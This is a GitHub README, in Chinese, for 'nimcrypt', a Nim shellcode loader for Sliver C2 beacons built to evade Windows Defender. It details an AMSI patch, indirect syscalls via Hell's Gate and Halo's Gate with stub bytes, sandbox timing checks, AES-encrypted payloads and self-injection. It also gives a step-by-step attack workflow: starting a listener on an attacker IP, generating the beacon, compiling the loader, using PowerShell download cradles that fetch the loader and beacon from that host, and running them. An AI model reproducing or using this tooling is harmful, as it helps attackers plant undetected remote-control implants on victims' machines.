Chaelsoo/nimcrypt
GitHub: Chaelsoo/nimcrypt
基于 Nim 的 Sliver shellcode 加载器,集成 AMSI 绕过、间接 syscall、沙箱规避等技术,用于在 Windows Defender 实时保护下隐蔽执行 payload。
Stars: 19 | Forks: 2
# nimcrypt
一个用 Nim 编写、针对 Windows x64 的 Sliver shellcode loader。包含两种变体,涵盖最常见的两种投递场景。已在开启实时保护的 Windows Defender 下测试通过。
## 变体
### stager
从磁盘读取加密的 shellcode blob,在内存中解密,并进行自注入。当你已经具备文件投放能力并想要一个小巧、简单的二进制文件时,请使用此变体。
```
loader.exe [key_hex iv_hex]
```
Key 和 IV 是可选的。如果省略,该文件将被视为原始的未加密 shellcode。
### stageless
通过原始 TCP socket 从你的 C2 下载加密 blob,在内存中解密,并进行自注入。没有任何文件会接触磁盘。当你可以在目标上执行二进制文件但无法可靠地投放第二个文件时,请使用此变体。
在编译之前,编辑 `stageless/loader.nim` 顶部的常量:
```
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 hex chars from encrypt.py
scIV = "..." # 32 hex chars from encrypt.py
```
## 技术
### 沙箱规避
stageless loader 在启动时调用 `Sleep(5000)`,并使用 `GetTickCount64` 测量实际经过的时间。如果经过的时间少于 4500ms,进程将退出。大多数自动化沙箱环境会快进或跳过休眠,导致检查失败。这在任何网络活动或 shellcode 执行之前运行,因此检查网络行为的沙箱什么也看不到。
### AMSI 绕过
`amsi.nim` 在运行时对 `AmsiScanBuffer` 进行 patch,使用了两层混淆:
**通过 FNV-1a 哈希隐藏字符串。** 字符串 `AmsiScanBuffer` 永远不会出现在二进制文件中。相反,其 FNV-1a 哈希在编译时计算并存储为常量。在运行时,loader 遍历 amsi.dll 的导出表,对每个导出名称进行哈希处理,并与存储的值进行比较,从而在无需将字符串保留在内存中的情况下找到函数地址。
**编译时 XOR 混淆。** DLL 名称 (`amsi.dll`) 和 patch 字节 (`xor eax, eax; ret` = `31 C0 C3`) 均在编译时使用每次构建通过 Python 子进程生成的新随机密钥进行 XOR 编码。密钥作为常量嵌入,字节在运行时即用前解码。原始字节在每次构建时都会改变,从而破坏了 patch 序列上的静态签名。
该 patch 用 `xor eax, eax; ret` 覆盖了 `AmsiScanBuffer` 的前三个字节,使得每次调用无论输入什么,都会返回 `AMSI_RESULT_CLEAN`。
### Payload 加密
`encrypt.py` 使用随机生成的 32 字节 Key 和 16 字节 IV,通过 AES-256-CBC 加密原始 shellcode。loader 使用 Windows BCrypt API 就地解密,因此目标机器上不需要第三方加密库。
### RW 到 RX 内存转换
内存被分配为 `PAGE_READWRITE`,shellcode 被写入其中,然后在执行前将该区域翻转为 `PAGE_EXECUTE_READ`。直接分配为 `PAGE_EXECUTE_READWRITE` 是一个众所周知的特征,Defender 和 EDR 会明确对其进行标记。分离写入和执行阶段可避免这种模式。
### 间接 syscalls (Hell's Gate + Halo's Gate)
`stageless/syscalls.nim` 同时绕过 Win32 API 层 (kernel32.dll) 和 EDR 放置的任何 ntdll.dll 用户态 hook。
**SSN 解析。** 启动时,loader 获取 ntdll 的基地址并解析其 PE 导出表,收集按 RVA 排序的每个 `Nt*` 导出。对于我们需要的每个 NT 函数,它检查前四个字节:
- `4C 8B D1 B8` (`mov r10, rcx; mov eax, imm32`) 表示 stub 是干净的,直接从第 4-5 字节读取 SSN。这就是 Hell's Gate。
- 其他任何内容都意味着函数 prologue 已被 EDR hook patch。在这种情况下,loader 会在已排序的列表中遍历相邻项,直到找到干净的 stub,然后将目标 SSN 计算为 `neighbor_SSN +/- distance`。SSN 按地址顺序每个 stub 递增 1。这就是 Halo's Gate。
**Gadget 定位。** loader 扫描它找到的第一个干净的 Nt* stub,寻找字节序列 `0F 05 C3` (`syscall; ret`)。这提供了一个位于 ntdll 映像支持的 `.text` 节内的地址,我们可以重用它。
**Stub 生成。** 对于每个所需的函数,一个 22 字节的 stub 被写入单个 RW 页面中,并在使用前将其翻转为 RX:
```
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax,
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx gadget address
```
`jmp [rip+0]` 解引用紧跟其后的 8 个字节(gadget 地址),并将执行重定向到 ntdll 现有的 `syscall; ret` 序列中。`syscall` 指令从 ntdll 的 `.text` 触发,而不是从我们匿名的内存分配中触发,从而击败了对哪个内存区域发出 syscall 的任何内核级跟踪。
由间接 syscall 覆盖的四个函数是 `NtAllocateVirtualMemory`、`NtProtectVirtualMemory`、`NtCreateThreadEx` 和 `NtWaitForSingleObject`。
### 自注入
解密后,stageless loader 通过 `NtAllocateVirtualMemory` 在其自己的进程中分配一个 RW 区域,使用 `copyMem` 将 shellcode 复制进去,通过 `NtProtectVirtualMemory` 将该区域翻转为 RX,并通过 `NtCreateThreadEx` 生成一个线程。然后主线程无限期阻塞在 `NtWaitForSingleObject` 上,在 beacon 的 goroutine 运行时保持进程存活。所有这四个调用都通过上述的间接 syscall stub 进行。
自注入将调用面降到最低。没有跨进程 API 调用(`WriteProcessMemory`、`CreateRemoteThread` 等),这些是经典远程注入的主要检测向量。
## 执行流程 (stageless)
1. 计时检查:休眠 5 秒,如果经过时间 < 4.5 秒则退出
2. AMSI patch:通过 FNV-1a 解析 `AmsiScanBuffer`,用 `xor eax, eax; ret` 覆盖
3. 解析间接 syscall stub:解析 ntdll 导出,查找 SSN (Hell's Gate + Halo's Gate),定位 `syscall; ret` gadget,写入 stub
4. 下载:原始 TCP socket,HTTP GET,去除头部,保留主体
5. 解密:通过 BCrypt 就地进行 AES-256-CBC 解密
6. 分配:通过间接 syscall 在自身进程中执行 `NtAllocateVirtualMemory` (RW)
7. 将 shellcode 复制到分配的空间
8. 保护:通过间接 syscall 执行 `NtProtectVirtualMemory` 为 PAGE_EXECUTE_READ
9. 执行:通过间接 syscall 执行 `NtCreateThreadEx`
10. 等待:通过间接 syscall 对线程句柄执行 `NtWaitForSingleObject`
## 执行流程 (stager)
1. AMSI patch
2. 从磁盘读取 shellcode 文件
3. 如果提供了 key 和 IV 则进行解密
4. `VirtualAlloc` (RW),复制 shellcode,`VirtualProtect` 为 RX
5. 通过函数指针转换执行
## 要求
在你的 Linux 构建机器上:
- Nim + nimble (`nimble install winim`)
- mingw-w64 (`x86_64-w64-mingw32-gcc`)
- Python 3 + pycryptodome (`pip install pycryptodome`)
## 完整工作流
### 1. 启动 Sliver listener
```
[server] sliver > mtls --lhost 10.10.14.42 --lport 443
```
### 2. 生成 beacon shellcode
```
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
```
### 3. 加密
```
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
```
### 4. 设置常量并编译
编辑 `stageless/loader.nim` 并设置 `c2Host`、`c2Port`、`c2Path`、`scKey`、`scIV`,然后从项目根目录执行:
```
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
```
始终从项目根目录进行编译,以便只加载根目录下的 `nim.cfg`。输出是一个静态链接的 Windows x64 PE,除了标准系统库之外,没有其他外部 DLL 依赖。
### 5. 服务或传输
Stageless:在匹配 `c2Port` 的端口上通过 HTTP 提供加密 blob:
```
cd bins && python3 -m http.server 443
```
Stager:将两个文件传输到目标机器:
```
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
```
### 6. 执行
Stageless:
```
loader.exe
```
带加密的 Stager:
```
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
```
不带加密的 Stager:
```
loader.exe shellcode.bin
```
## PowerShell 投递
如果通过 PowerShell 下载 cradle 进行投递,AMSI 将在 loader 运行前扫描脚本。请先在你的 PS 会话中 patch AMSI:
```
python3 gen_amsi.py
```
在下载或执行任何操作之前,将输出粘贴到 PS 会话中。该脚本通过导出表哈希解析 `AmsiScanBuffer`,因此该字符串永远不会以明文出现,并且所有 patch 字节都使用每次运行生成的随机密钥进行 XOR 编码。
## 注意事项
- 需要 Windows 10 / Server 2016+ (Universal CRT)
- 用于链接模式的 `BCryptSetProperty` 返回 `STATUS_INVALID_PARAMETER`,但 BCrypt 无论如何默认使用 CBC,解密可正常工作
- 间接 syscall 仅覆盖四个对注入至关重要的 NT 函数。Winsock 和 BCrypt 调用仍然通过其正常的 API 路径进行,这是可以接受的,因为这些调用在孤立状态下行为是良性的
- stub 中的 `syscall` 指令从 ntdll 的 `.text` 节(映像支持、Microsoft 签名)内部触发,而不是从 stub 页面触发,从而击败了内核级的 syscall 源跟踪
## 参考
- https://github.com/gatariee/ldrgen
- https://github.com/D3Ext/Hooka
标签:C2通信, DNS 反向解析, Nim, 免杀技术, 暴力破解检测, 逆向工具